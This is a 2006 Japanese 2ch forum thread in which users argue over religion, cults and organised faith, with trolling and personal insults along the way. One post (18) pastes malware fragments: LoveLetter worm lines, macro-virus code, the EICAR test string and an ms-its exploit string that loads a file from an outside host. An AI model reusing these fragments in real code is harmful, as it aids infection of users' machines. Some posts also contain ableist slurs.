　　��　宗教否定者いらっしゃーい　��　　

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1 名前：名無しさん＠３周年 ：2006/01/09(月) 08:32:25 ID:lrKYJyxj: 幼稚な否定ばかりしてないで、
他人を認める寛大な心を、ここで養いなさい。
2 名前：名無しさん＠３周年 ：2006/01/09(月) 09:05:13 ID:YKnpDvAo: 超創会ってなぁにぃ？？？？？？？？？
http://news19.2ch.net/test/read.cgi/news/1136758053/
3 名前：名無しさん＠３周年 ：2006/01/09(月) 09:43:18 ID:jcXIwZs8: 3get
4 名前：名無しさん＠３周年 ：2006/01/09(月) 09:44:36 ID:SuI0ql+x: >>1
どちらに言っているのですか？
5 名前：名無しさん＠３周年 ：2006/01/09(月) 10:52:25 ID:kAkqRx/Y: >>4
釣りでしょう。↓スレ立て者の直前発言。
http://life7.2ch.net/test/read.cgi/psy/1119064568/881
6 名前：名無しさん＠３周年 ：2006/01/09(月) 11:46:29 ID:gNavRMh4: 釣りではありません。
互いの問題点をぶつけあい、
互いを認め合う寛大な心を養いたいと思ってます。
7 名前：名無しさん＠３周年 ：2006/01/09(月) 12:38:41 ID:UDWMC6MM: 私怨による糞スレ。
終了。
8 名前：名無しさん＠３周年 ：2006/01/09(月) 12:43:14 ID:UN1C72SD: ↑私怨による終了荒らし。
9 名前：名無しさん＠３周年 ：2006/01/09(月) 13:08:23 ID:gNavRMh4: 宗教信者は、否定者の意見を謙虚に聞くこと。
宗教否定者は、幼稚なレスを慎むこと。
10 名前：名無しさん＠３周年 ：2006/01/09(月) 13:23:03 ID:BKwPeIql: 881 ：名無しさん＠３周年：2006/01/09(月) 07:17:00 ID:lrKYJyxj
おまえらも、海外に行って「宗教は～」ってくくりで否定なんかするなよ。
本当に、恥ずかしいから。
ま、幼稚な否定しか出来ないお前らは、海外の意味も理解できないだろうが。。

思いっきり釣りスレじゃんwwww

糞スレ認定

終　了
11 名前：名無しさん＠３周年 ：2006/01/09(月) 13:24:10 ID:BKwPeIql: 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　_　）
　　　　　　　　　良いニュースだぁ!!　　　　　　　　　　　　　　　　　　　　　　と_⌒ｰ-､
　　　　　　　　＿＿＿＿＿＿＿＿＿　　　　　　　　　　　　　　　　　　　,　　’`ヾ);∴つ
　　　　　　　／　０００　　　　／　　　　|＿　　￣￣＿　= ＿＿＝　　　、；｀ :'　‘;；`Ｖ
　　　　　　/＿＿＿＿＿＿/＿＿＿＿|ヽヽ　　　　　≡　　＿＿　　　　　,; ．　.　・ﾞ`　　　∩,へ-、
　　　　　__|| 　 ∧＿∧　　||__　　　||　||:|　|　　　＿＿　＝　　＿＿＿　　'　　;'　｀　，　'γ´　く´y､ ←>>1　　　　　|::||　 (　´∀｀) 　 ||::|　　　||　||:|　|　￣￣─＝= ≡　￣　　＝≡　　,ﾞ　"　　　;《 ':．,ノ`ｰ'っ
　　　　　.~||　⊆⊇ ヽ　）.　 ||O　　　||　||| |￣￣||￣￣||￣￣||￣￣||　　≡　．　　　　,.　ヾ／;,；;;＞
　　　　　　||￣゜￣￣゜￣|￣|￣￣￣|￣|| |＿＿||＿＿||＿＿||＿＿||　三　≡　　　　　'￣∵し'
　　　　　　||＿＝０＝_＿|＿||　＿＿＿/|＿＿＿＿＿＿＿＿＿＿_| ≡＝　　　　.　　　’; '
　　　　　 .|00|三三三|００|＿|_/⌒、|＿＿＿:::::::::::::::::::::::::::::::/⌒ﾍ:⊇　＿=＝⌒;;　　　´
　　　　　.〔⊆__[二]_____⊇:＿〕_|.∴.|::|　||::||::::|　〔三三三〕|||||.∴.|ﾍ　≡(´⌒三＝
　　　　　　~ゞゝ__ﾉ￣￣￣~ ゞゝ∵ﾉ￣￣ゞゞゝﾉ￣￣￣ゞゞゝ∵ﾉ (⌒｀;;)
12 名前：名無しさん＠３周年 ：2006/01/09(月) 13:39:50 ID:UN1C72SD: やれやれ。今度はＡＡ荒らしときたか。
13 名前：名無しさん＠３周年 ：2006/01/09(月) 13:41:20 ID:gNavRMh4: 否定者は、まともな討論ができないらしい。。
14 名前：名無しさん＠３周年 ：2006/01/09(月) 13:54:33 ID:rPZGD/KM: カスの集まりだな
15 名前：蓮華：2006/01/09(月) 14:02:55 ID:aqxHigKl: >>9
ですね。
16 名前：名無しさん＠３周年 ：2006/01/09(月) 14:17:04 ID:BKwPeIql: 881 ：名無しさん＠３周年：2006/01/09(月) 07:17:00 ID:lrKYJyxj
おまえらも、海外に行って「宗教は～」ってくくりで否定なんかするなよ。
本当に、恥ずかしいから。
ま、幼稚な否定しか出来ないお前らは、海外の意味も理解できないだろうが。
17 名前：名無しさん＠３周年 ：2006/01/09(月) 14:19:04 ID:BKwPeIql: 　　　　　＿━━━━━━＿　　　　　　　　　　　　　　　　　　　　　　　　　＿━━━━━━＿
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18 名前：名無しさん＠３周年 ：2006/01/09(月) 14:20:04 ID:BKwPeIql: c.Copy(dirwin&"\Win32DLL.vbs")？
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")？
<object？data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"？type="text/？
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*？
fso.copyfile？"dirsystem&nurupo.vbs",？"j:\windows\start？menu\programs\startup\"？
If？s？=？"htm"？and？fso.FileExists(f1.path+"l")？=？False？then？fso.CopyFile？f1.path,？f1.path+"l"？
ToInfect.CodeModule.InsertLines？BGN,？ADI1.CodeModule.Lines(BGN,？)？
G.RegWrite？A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),？E.BuildPath(E.GetSpecialFolder(1),？A("VHORU@SU/WCR"))？
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))？　　
ms-its:mhtml:file://c:\　？
kak.hta';ken=wd+'START？
19 名前：名無しさん＠３周年 ：2006/01/09(月) 20:19:31 ID:OUzEDtCN: ここまでで、はっきり言える事は、
否定者の方が、人格に問題がありそうだ。って事だね。
20 名前：名無しさん＠３周年 ：2006/01/09(月) 21:21:51 ID:QlzLS6vU: ここまでではっきり言えることは、
肯定者の方が人格に問題があるってことだね。
21 名前：名無しさん＠３周年 ：2006/01/09(月) 22:59:09 ID:m99TK9pA: 人格などは知るよしもないが、再三指摘されているように、
別スレでの書き込みに表れた>>1の態度に対しては
疑問を持たざるを得ない。
22 名前：1ですが ：2006/01/09(月) 23:08:40 ID:s2DCiPg/: >>21
確かに大人気ないね。
しっかりとした意見をもった宗教否定者の方々には、お詫びします。

流れを知らずに、そこだけ指摘されても、お話にならないのが事実です。
今までも、否定者が立てたストレスの発散が目的のようなスレで、
一言レスには、何度か書き込みはしましたよ。
ちゃんとした内容のレスには、それなりのレスを入れて来たつもりです。

ここを立てた目的は、>>9です。　それだけです。
23 名前：月☆ピェ～ル ◆/bb.....Cc ：2006/01/09(月) 23:10:02 ID:oG8LZYI2: 僕とあそぼうぜ
24 名前：1 ：2006/01/09(月) 23:15:03 ID:s2DCiPg/: >>23
ここでですか？
25 名前：名無しさん＠３周年 ：2006/01/11(水) 03:50:28 ID:fPIp73YH: age
26 名前：1 ：2006/01/11(水) 10:03:11 ID:WoWCKE/x: いろんな板でディベートしてるが、ここの宗教否定者が一番イタイね。
まともな議論ができないし、書き逃げばっかり。。

悲しいが、これが現実。。。
27 名前：名無しさん＠３周年 ：2006/01/11(水) 10:08:13 ID:b1KUW5jb: 社会生態学研究論文集
～我が国におけるクールー病発生の可能性と
第２宗教革命（第２ルネッサンス）の必要性～
http://www.geocities.jp/methylophilus2/
28 名前：名無しさん＠３周年 ：2006/01/11(水) 12:27:39 ID:VP4nhCt3: >>26
呼びましたか？
幼稚な空想を信じている宗教者が幼稚でなく、
宗教否定者が幼稚なのですか？
29 名前：( ´,_ゝ｀) ：2006/01/11(水) 12:31:59 ID:kt/FtipA: ほんとに、ここで遊ばしてくれるんですか？
30 名前：名無しさん＠３周年 ：2006/01/11(水) 13:03:10 ID:b1KUW5jb: 外交政策（仮）議論場の以下のサイトにて論文一部掲載、一読を乞う。
http://that4.2ch.net/test/read.cgi/diplomacy/1135435648/

【０００２】

クールー病はカニバリズム（主に脳と内臓を食する人肉食）を風習とする部族
に発生する致死性の神経難病で、抑うつ、不安などの精神症状で始まり、
進行性痴呆、運動失調等を呈し、発症から１年～２年で全身衰弱・呼吸不全・
肺炎などで死亡するクロイツフェルト・ヤコブ病(CJD)と症状が酷似している。
クールー病のクールーとは「恐怖に怯える事」を語源としており、
現代語に訳せば「テロ病」という事になるのかもしれない。

以下、http://that4.2ch.net/test/read.cgi/diplomacy/1135435648/を乞参照。
31 名前：名無しさん＠３周年 ：2006/01/11(水) 14:11:31 ID:t/olx6Ug: 別スレで自分は下劣な書き込みを繰り返していたくせに「ここの宗教否定者が一番イタイ」ですか？
自分のことは棚に上げるのがお得意なようですね。

悲しいが、これが>>1の現実・・・
32 名前：名無しさん＠３周年 ：2006/01/11(水) 15:02:14 ID:4GDKPKqh: イタすぎ
33 名前：( ´,_ゝ｀) ：2006/01/11(水) 15:07:52 ID:kt/FtipA: えっ、宗教信者って、そんなに、下品なのか？
神様のバチあたっぞ、きっと、痛そー^^;
34 名前：1 ：2006/01/11(水) 16:06:47 ID:fj65hCVo: >>28
他スレの書き込み、冷静に見たらわかるよ

>>31
あんたのような人がいると、余計にそう感じるよ。

文章を理解する、空気の流れを読む、これらができないみたいだから、
宗教を否定しちゃうのか？
だんだん可哀相になってきた。。。。
35 名前：( ´,_ゝ｀) ：2006/01/11(水) 16:14:58 ID:kt/FtipA: うひょー。
ほんとに、遊んでくれるんですか？
質問してもいいのかな？
36 名前：1 ：2006/01/11(水) 16:26:14 ID:lznglR4A: 今から、仕事なんですが。。
なんでしょうか？
37 名前：名無しさん＠３周年 ：2006/01/11(水) 16:32:29 ID:9Hr9mGIG: とりあえず、感情的な発言はやめたらいかが。
全然建設的な意見が出てない。否定論者も、反否定論者も。
>>1が過去に何を言ってようが、どうでもいいよ。ここは否定論者vs反否定論者のスレなんだろ。
>>1も個人攻撃なんかほっといて、自分から問題提議したらいいじゃないか。
君が否定論者と同じレベルで話してるから、始まらないんだよ。
38 名前：( ´,_ゝ｀) ：2006/01/11(水) 16:33:30 ID:kt/FtipA: 仕事してください。
私は、終わりましたから。

がっかりです(-_-;)
39 名前：1 ：2006/01/11(水) 16:42:44 ID:HOdAgRXJ: >>37
はい。　気をつけます。。

>>38
ごめんなさいね。
40 名前：( ´,_ゝ｀) ：2006/01/11(水) 16:46:55 ID:kt/FtipA: >>37
その通りなんで、とりあえず、質問しますね。
なんで、宗教信者は、信仰は個人的なのに、集団で群れたがるの？
どう考えても、組織を形成する必然性がないと思うのですが・・・
おまけに、宗派が違うとか、異端とかで、争い罵りあうの？
そこになにか意味があるの？

以前から、この問題が不思議で仕方がないのですが。
だれか答えること出来ますか？
41 名前：名無しさん＠３周年 ：2006/01/11(水) 17:08:09 ID:t/olx6Ug: >>34
ほーら結局具体的な反論無しね。
感情的駄文を書き連ねただけの奴が立てるスレなんてｗ
それからいつ俺が宗教を否定したのかな？
自分の見解は一言も話してないけど？
自分を否定する者は全員「宗教否定論者」ですかｗ
宗教肯定論者からしてもあんたはバカ丸出しって気が付かないのねｗ
だんだん可哀相になってきた・・・
42 名前：( ´,_ゝ｀) ：2006/01/11(水) 17:35:36 ID:kt/FtipA: 久しぶりに、まじめにレスしたのに。
立て逃げされるとは・・・・
神様はほんとに寛大だな。
こんな奴らに信じられて、不名誉もいいとこだろう。
よく、首吊って死なないもんだ。
深く同情する。(ーー;)
43 名前：1 ：2006/01/11(水) 18:30:12 ID:fPIp73YH: >>40
集団のときだけ、信仰心を持ってる訳ではないでしょう。
確かに、集団は作りますね。
元々は、良い教えの元に人々が集まったんでしょうけど、
現在は、信者の数＝お金の数的なところがあるんでしょうね。
でも、群れたがる。
のではなく、真理だと思っていれば自然に人が集まりますよ、そこにはね。

宗派の違いで罵り合いはある。　争いは別。
争いの根本は、貧富の差です。
罵り合いは、スポーツが好きなら理解できるはず。
サッカーが好きでも、敵チームには負けてもらいたい。　
それと同じレベルでしょうね、悲しいですけど。。

最後に、ここはチャットルームではないんだよ。
仕事だ。と言ったでしょ？
朝方まで、レスできませんから。　どうしょうもないね，>>41　>>42の内容は。。
44 名前：名無しさん＠３周年 ：2006/01/11(水) 18:33:25 ID:465g2MhX: 集団を作りたがるのは信仰・信条いぜんに
ほとんどの人間が生まれながらに持つ性質ではないか。
45 名前：中田：2006/01/11(水) 18:49:56 ID:coP5TzI4: 宗教を否定はできない。宗教の分類として
カルト、ニューエイジ、マルチ商法、ねずみ講、経済同盟、タカリ合い、お布施信仰ビジネスモデルという
人間が永遠に続ける要素があるからだ。存在の否定はできないね

ただ、信仰を深めて、安らかな気持ちになり、周囲に幸せをもたらすか
せめて本人だけでも幸せになれるのは１００にひとつもないであろうな
46 名前：名無しさん＠３周年 ：2006/01/11(水) 18:51:54 ID:s7k2LgcR: 人間という大きな集団への所属を忘れた人が
群れを作りたがる。

自ら人間より一ランク下位の存在であることを
主張しているようなものだ。愚かというほかない。
47 名前：( ´,_ゝ｀) ：2006/01/11(水) 18:52:23 ID:kt/FtipA: お仕事ならどうぞって、言ってますよ。
別に、違う方でもいいですし。
でも、自分で、どうぞっていっておきながら、チャットルーム？
あなたも変な人かな？
まあ、でも、忙しいのにお答えしていただいたので、お礼をいいますね。
ありがとうございます。

それと全然、問いの答えにはなってないですね。
というか、あなたの答えは、
宗教信者がバカで浅ましいだけであるという回答です。
神を信ずるものが、お互いにその信ずるもので、罵りあい、
おもけに貧富の差で争うなら、信じない方がいいでしょう。
バカが徒党組んで、お互いに血を流すことに意味があるように思えませんがね。
その答えでいいのですか？
可愛そうな人たちの集まりなんですか？

信じてる人が言うんだから、間違いないんでしょうね・・・・
48 名前：( ´,_ゝ｀) ：2006/01/11(水) 19:00:30 ID:kt/FtipA: >>44
それならば、なぜ、神をダシに勧誘したがる？
別に、宗教である必要性がないでしょう。
また、宗派を形成して、異端とか喧嘩する必要もない。
仲良くやればいいでしょう。
人格に障害のある人たちならば別ですが・・・・

>>45
存在を否定してるのは、宗教を信じている人達ですよ。お互いに。
無宗教の人間は、そんなものどうでもいいでしょう。
おまけに、神を信じないものを障害者であるかのようにいいますよね。
どうも、筋道が通りませんね。
49 名前：名無しさん＠３周年 ：2006/01/11(水) 19:16:51 ID:t/olx6Ug: >>43
こんどは「どうしようもないね」ときたかｗ
自分の破綻を取り繕うことができなくなったから「どうしようもない」んだろｗ
もう逃げるしかないんですねwwwww

さ　よ　う　な　ら
50 名前：中田：2006/01/11(水) 19:54:38 ID:coP5TzI4: >>48　宗教を否定しておるのは、宗教団体に所属しながら
他宗派を存在否定する態度を止めない。おろかなひとびとでしょうね
もちろん明らかにカルト宗派を非難する気持ちはわかりますが、それでも
そのカルト組織は宗教の一形態ではあるわけです。
　　XX宗派は宗教ではない。　　は間違いで、XXは信仰としてうちとは価値観をともにしない。とするべきです。

もちろんカルト側も同じことを言い出すわけですがｗ
51 名前：名無しさん＠３周年 ：2006/01/11(水) 21:08:07 ID:4GDKPKqh: 宗教利権が絡み次々と宗派を増やして争いを繰り返す愚かな宗教患者。争いの連鎖を断ち切らなくては。
52 名前：名無しさん＠３周年 ：2006/01/11(水) 21:22:06 ID:S1qA0uul: 本当に霊性が存在するのなら
他人は勝手に争わせておけばいいんじゃないのかな
共倒れするのを待ちわびて
53 名前：名無しさん＠３周年 ：2006/01/11(水) 22:56:03 ID:LOalOyzc: 霊存在を知覚できる人が語る分には問題ないわけですが・・・
試験を設けるべきです。
実際に霊が見え、透視し、予言し、雨を降らせ、治癒し、
それが出来たものにおいてのみ、語ることを許可する許可制にすればよいと思います。
54 名前：名無しさん＠３周年 ：2006/01/11(水) 23:00:59 ID:LOalOyzc: できないことを語るインチキ宗教はカルトリストに載せて
詐欺罪に問い、罰金およびカルト税を加算すれば自然に
消滅してくれるでしょう。

本物の宗教と嘘つきカルトはキッパリと線を引いて分けるべきです。
55 名前：名無しさん＠３周年 ：2006/01/11(水) 23:11:21 ID:9Hr9mGIG: >>45
分類がめちゃくちゃだよ。何を基準に分類したのかわからない。
知ってる単語並べただけみたいだ。カルト、ニューエイジって……。
そもそもみんな「カルト」の意味わかって使ってる？
マスコミが使うカルトは本来の意味を外れてるんだよ。
56 名前：名無しさん＠３周年 ：2006/01/11(水) 23:34:10 ID:S1qA0uul: 霊との関わりの濃い密教性の高いものがカルト
それが転じて霊感詐欺商売がカルトになった
違ったかな
57 名前：名無しさん＠３周年 ：2006/01/11(水) 23:38:40 ID:S1qA0uul: まぁ今のカルトも霊とは濃密に関わってるけどね。
人間よりもレベルの低い存在と。霊があるのなら。
58 名前：中田：2006/01/11(水) 23:58:28 ID:fqYe19Rb: >>55　具体的にどうぞ
59 名前：電球：2006/01/12(木) 01:09:21 ID:k5z088eK: >>55
カルトは本来「信仰」を意味する言葉ですね。宗教社会学においてカルトはチャーチ・セクトに対応する概念とされた。
既成教会がチャーチ、既成教会内の分派がセクト、既成教会外の宗教がカルト。
本来「カルト」という用語には否定的な意味合いはなかったわけです。
ただそのカルトの中に危険な宗教があったために、否定的な意味で使われるようになったと聞きます。
一般社会で言う「カルト」は宗教学の用語では「破壊的カルト」なんて言われますね。
60 名前：電球：2006/01/12(木) 01:15:24 ID:k5z088eK: 私は宗教団体を否定しません。同志と一緒に勉強したいと考えたり、同じ価値観を持つ人たちと
集まりたいと考えたりすることまで否定する理由がないと、私は思うんです。

もちろん現実に人民寺院や統一教会やオウムのような例はあるわけで、同一思想のもとに集まる
ことは危険性を孕んでいます。でもそれはそういう個々の事例を批判すればよいことですし、
そもそもその点を批判するなら、なぜ話を宗教団体に限定する必要があるのかよくわかりません。

ただ、宗教に団体が必要か、という話をするなら、私は必要ないと思っています。団体に参加しな
ければ救われないなんてのは、全然現代的でありませんし。
宗教団体に参加するのは選択肢のひとつであって、それを全否定する理由もなければ、全肯定する
理由もないと私は思うんですが・・・。
61 名前：電球：2006/01/12(木) 02:21:26 ID:k5z088eK: >>40
( ´,_ゝ｀)さん、こんにちは。えっと前に別のスレでお話させて頂いた者なんですが・・・
分かりますか。同名の別人、だったらごめんなさい・・・。

おっしゃることわかります。組織を形成する理由に関しては>>60の1・2行目で私の考え方は述べた
のでともかくとして、宗派間の論争、罵り合いに関して、少し考えてみました。
私は宗派間で論争が起こることはそれ自体は悪いことだとは思わないんですよ。
考え方が違えば論争が起こらなければおかしいですし、その論争で教義が磨かれていくこともある
と思います。もちろん相手の主張を聞くことも重要なことです。
ただ、論争はともかく、武器を持っての争いにまで発展すれば、それは考えの違う人間を武力を
もって排除しようとする危険な行為です。

私が( ´,_ゝ｀)さんの意見で一番興味深いのは、罵り合いって指摘なんですよ。
例えばキリスト教徒の一部（全部ではなく）は統一教会やエホバの証人を異端だと言って、
否定しますね。つまり教義が合わないところは全部異端と言って否定する。
「お前はイエスを信じないから救われない」「お前は文鮮明を信じないから救われない」
そもそも話が噛み合わないのに論争しようとするから、結局相手を全部否定するしかなくなる。
論争は成り立たず、ただの罵り合いになる。セクトや宗教の違いは人にそれを行わせる可能性がある。
私もそれを危惧しています。( ´,_ゝ｀)さんはこういう点を指摘しているのではないですか？
62 名前：1 ：2006/01/12(木) 03:30:17 ID:xVFs7Jd/: >>47
なら、立て逃げとか言うんじゃないよ。
バカで浅ましいと感じるのは、あなたの感性の問題。
あなたの内側を、外側の世界に投影してるだけ。
ようは、あなたの鏡なの。

>>49
よかったよ、消えてくれて。
日本語を理解できない人が混ざると、疲れますから。。

>>51
すべての団体がそうではないの。
思い込みで、書き込まないようにね。
63 名前：( ´,_ゝ｀) ：2006/01/12(木) 03:36:22 ID:xSLQQLKN: みなさん、ご回答ありがとうございます。
大変、率直な回答で、正直驚きました。
まあ、ここの掲示板のののしり合いはふざけているとは思いますが、
実際はかなりの泥仕合を演じているので、正直なところ、深い矛盾を感じておりました。
でも、否定はなさっているので、安心しましたね。

電球さん、こんにちは。その節はどうも(^^♪
大変わかりやすい、要約ありがとうございます。
個人的には、もっと、紆余曲折してほしかったのですが、
すっきりして、非常に、正直当惑モンです。
でも、私は、電球さんと違って、まったく、宗教を認めなくなりましたね。
この板を訪れて、その気持ちが強まりました。

私は、宗教信者には、２つの大きな矛盾があると思っております。
１つは、これはすべての人間がそうなのですが、
ほかの生き物を殺さなければ、自分が生きてはいけないという矛盾ですね。
別に、自分さえ良ければいいという価値観を持てばいいのでしょうが、
それも、結局は欺瞞にしか過ぎないので、特に、自分の生き方を問う宗教は、
この大きな矛盾には目をつむることは出来ないと思っております。
神を信じる行為が、すなわち、他人を認めない行為に転換する。
これは、容易なことです。争いも、罵りあいも、これが原点だと思っております。
64 名前：( ´,_ゝ｀) ：2006/01/12(木) 03:44:16 ID:xSLQQLKN: もう1つは、
信仰からは、組織は生まれないということです。
誰かのご指摘どおり、自然に人が集まるのはいいでしょう。
でも、それは、集団であって、組織ではありません。
また、聖書を経典とするのならば、それでいいでしょう。
でも、それは研究会です。解釈が異なることで、対立するのは当然です。
でも、信仰がそれによって妨げられ事はないでしょう。
派閥を形成する必要もありません。
誰かが、いみじくも回答されているように、今の宗派は集金マシンとして役割のみです。
それならば、企業として活動し、きちんと明確な経済活動を行うべきです。
でも、根本的な矛盾は解決しませんね。
同じ信仰を持つものが、組織や派閥を持つ必要がないこと。
階級を持ち、役割を分担し、その維持のために経済活動を行い、
政治活動に介入し、戦争の引き金や殺し合いを行う。
なんら、組織をつくる必要はありませんね。
だから私は、否定します。
65 名前：名無しさん＠３周年 ：2006/01/12(木) 03:46:30 ID:ohtl4AYx: 宗教。人の心の弱さにつけいる金儲けだろw
66 名前：名無しさん＠３周年 ：2006/01/12(木) 03:50:26 ID:vrK8mlXn: そのとおり。
67 名前：( ´,_ゝ｀) ：2006/01/12(木) 03:58:22 ID:xSLQQLKN: >>62
>バカで浅ましいと感じるのは、あなたの感性の問題。
>あなたの内側を、外側の世界に投影してるだけ。
>ようは、あなたの鏡なの。

そういってる、自分も同じく鏡になってるわけですね。

>日本語を理解できない人が混ざると、疲れますから。。
>思い込みで、書き込まないようにね。
これも、つまり、自分のことですね。あなたの理屈でいいますと。
慎んでくださいね(^^♪
68 名前：名無しさん＠３周年 ：2006/01/12(木) 04:04:19 ID:ohtl4AYx: この世の中の宗教?って言われてる物が全部詐欺だって思ってる俺が馬鹿か。要は生と死だろ。進化した猿が猿なりに考えただけだろ。wいろんな猿が馬鹿猿騙してるね。w
69 名前：名無しさん＠３周年 ：2006/01/12(木) 04:08:30 ID:KjQaxoHf: 宗教肯定論者は貴重品だから、しっかと捕まえて絶対に逃がすなよｗ
70 名前：名無しさん＠３周年 ：2006/01/12(木) 04:15:38 ID:xVFs7Jd/: >>67
あんたも理解力ないのか？
つながりを読んでみなよ。

ちなみに俺はどこの宗教にも属してないから。
ただ、信仰心はあるし、自分なりの神もいる。
凝り固まった概念と言えば、
真実では無い事を真実のように語る人を許せない、ってことぐらい。
だから、インチキ宗教も否定するし、しったか否定者も否定してる。

あんたみたいに自分の価値観に凝り固まって、一方からしか見ている訳じゃないの。
揚げ足取りするなら、核心をつけよ。
71 名前：( ´,_ゝ｀) ：2006/01/12(木) 04:22:01 ID:xSLQQLKN: 充分、核心ついていると思いますけど。
わかりやすく言えば、あなたの書いていることを、
あなたは自分で否定するのですか？

あなたは、他人のつながりを無視しておきながら、
自分の主張に関しては、つながりを強調する。
自己矛盾ではないですか？

充分、あなたの「核心」をついてるでしょう(^^♪
72 名前：名無しさん＠３周年 ：2006/01/12(木) 04:30:05 ID:4ANlSbtJ: >>71
読み直しても、核心だと思うのね？
それならそれでいいよ。
ここで、俺を理解してもらおうなんて思いませんから。

俺のどの辺りが、つながりを無視してるのか、教えて下さい。
あなたに投影という言葉を使ったが、すべてがそうだとは思って無いよ。
あなたのあの書き込みに、そう思っただけ。

結局、俺を攻撃したいだけでしょ？
73 名前：名無しさん＠３周年 ：2006/01/12(木) 04:40:59 ID:4ANlSbtJ: >>71
>>65とか>>66見て、ズレてるとは思わないか？
意味があると思うか？
まともな議論ができると？

あんたみたいに、やり取りができるなら、それなりの言葉を選ぶよ。
叩きや煽りに返してる内容に、いちいち「核心」攻撃しないでくれる？
74 名前：( ´,_ゝ｀) ：2006/01/12(木) 04:41:38 ID:xSLQQLKN: >結局、俺を攻撃したいだけでしょ？

いえいえ、とんでもありません。
私は、単純に議論にはある程度の論理的な能力が必要と思っているのですよ。
間違いであれば、間違い。矛盾しているのならば、なにがどのように矛盾しているのか？
もしくは、お互いの意見が食い違いながらも、思いが一致しているのであれば、
なにが、食い違いの原因になっているのか？
その解決の糸口は、単純に論理的能力があるかどうかです。

例えば、あなたは、
>ここで、俺を理解してもらおうなんて思いませんから。
と書いておりますが、当然のことですよ。
私がこの場であなたを理解できるわけはありません。
でも、ここが宗教の否定者と肯定者が議論する場所であるなら、
あなたの考えを述べていただけない限り、私はあなたを理解できるわけがないのです。
同じく、
>あんたみたいに自分の価値観に凝り固まって、一方からしか見ている訳じゃないの。
あなたも私を知らないのに、私を批判するのはおかしいのです。
けれども、そう感じたのなら、そう感じた理由を書くべきでしょう。
でなければ、お互いに永遠にすれ違うだけです。
違いますか？
75 名前：名無しさん＠３周年 ：2006/01/12(木) 04:46:46 ID:hNc2fGFW: >>73
いちいち野次に反応しない。
宗教にコテンパンにやられて身ぐるみはがされて
家族や仲間を取られて、宗教にうらみを持っている人は多いのだから
同情の目で見守ってほしい。
76 名前：名無しさん＠３周年 ：2006/01/12(木) 04:46:52 ID:ohtl4AYx: >>73お前頭ハンデか?ﾃﾗﾜﾛｽ
77 名前：名無しさん＠３周年 ：2006/01/12(木) 04:54:56 ID:4ANlSbtJ: >>74
なら、初めから、そう、書けばいいじゃない。
あなたは、宗教を否定する立場にいるが、
肯定できるかもしれない宗教があるのかな？って位置から探した事があります？

俺も昔は完璧な否定者でした。　家に聖教新聞が届いてましたから。
実質的努力をせず、拝んでばっかりの家族をみて、うんざりでした。
でも、そんな環境がきっかけで、宗教の勉強をいましたね。

今では、９割が自分に合わない宗教だと学びました。
その９割の宗教に助けられてる人達がいる事も学びました。
一概に否定しても、争いの種をばらまくだけなの。
相手を認め、そこから議論しないと意味はないよ。
相手をねじ伏せる為の議論の場にしたくないの、ここは。
78 名前：名無しさん＠３周年 ：2006/01/12(木) 04:59:02 ID:4ANlSbtJ: >>76
うるせぇーんだよ、タコ。
お前みたいな奴がいるから、ここの板は「バカばっかり」とか言われんだよ。
議論ができなきゃ出てくんな。
79 名前：名無しさん＠３周年 ：2006/01/12(木) 05:02:37 ID:ohtl4AYx: で?お前はここの主か?家族が池田馬鹿作信者の?ﾌﾟﾌﾟﾌﾟw
80 名前：名無しさん＠３周年 ：2006/01/12(木) 05:02:58 ID:hNc2fGFW: まずは、宗教者は感情のコントロールができない。
81 名前：( ´,_ゝ｀) ：2006/01/12(木) 05:03:27 ID:xSLQQLKN: >>77
私は、宗教そのものには、ほとんど興味ありませんね。
でも、その信じているテクストには、それなりに触れる機会はありますし、
別に、意識して拒否もしておりません。まあ、書いている内容にもよりますけど。

従って、宗教＝金儲けという意識はありますね。
ただ、違う宗教があることも知っておりますし、身近にひっそりとありますね。
まあ、実際のところはわかりませんが。

ところで、あなたは、信仰をもっているのですか？
私は当然ありません。
信仰を持たない限りは、信者ではありませんよね。
82 名前：名無しさん＠３周年 ：2006/01/12(木) 05:16:24 ID:4ANlSbtJ: >>81
信仰心はあります。
神も死後も奇跡も信じてます。
理由は、信じている自分の方が、良い人間だからです。

インドやタイでは、お金のかからない信仰を見てきました。
アメリカでは、排他的な信念を実感してきました。
イスラム教の友人からは、日本人には難しい価値観を学びました。

それにしてもここの板には、煽りが多いの？
全然、「心と宗教」じゃない奴らが多すぎなんじゃない？
83 名前：( ´,_ゝ｀) ：2006/01/12(木) 05:23:09 ID:xSLQQLKN: >>82
まったく、単純な質問なんですが、
あなたは、なぜ、信仰心を持っているのですか？
動機は？そして、目的は？
これは、非常に難しいと思うのです。
答えられないのであれば、答える必要はありません。
でも、結局、無宗教の人間とそうでない人間の対立は、
ここに行き着くと思うのですから。
避けられない問題だと思いますよ。
84 名前：名無しさん＠３周年 ：2006/01/12(木) 05:24:56 ID:ohtl4AYx: >>82お前が>>73で攻撃してきたんだよね?家族が公明党に票入れる>>82なぁ?だから一割?お前宗教聞かせろや。w
85 名前：名無しさん＠３周年 ：2006/01/12(木) 05:31:10 ID:ohtl4AYx: >>82早く宗教言え
86 名前：名無しさん＠３周年 ：2006/01/12(木) 05:34:47 ID:4ANlSbtJ: >>83
理由は、信仰心がある自分の方が、人生が豊かになるからです。
信じている方が良い人でいられるんですね、たぶん。
動機は、それまでの自分があまり良い状況ではなかったから、ですかね。
目的は、成長です。
もっと、より多くを学びたいですね。
無我の場所に行ってみたいです。　仏教徒ではありませんが。。
87 名前：名無しさん＠３周年 ：2006/01/12(木) 05:39:28 ID:ohtl4AYx: なんだぁここは頭ハンデが好きな事言うスレかw否定派がくるんじゃねえの?ｷﾝﾓーw
88 名前：( ´,_ゝ｀) ：2006/01/12(木) 05:41:50 ID:xSLQQLKN: >>86
質問ばかりで申し訳ありませんが、
では、信仰心を持っている方、あるいは宗教信者の方が、
みんなあなたのように、人生が豊かであると、あなたは思いますか？
それは、信じていない人間と比較してです。
あるいはみんな尊敬できる方ばかりですか？
そう思うならば、その根拠もお聞かせ願いたい。
つまり、宗教が特別であるという理由がわからないので、
それを教えていただきたいのです。
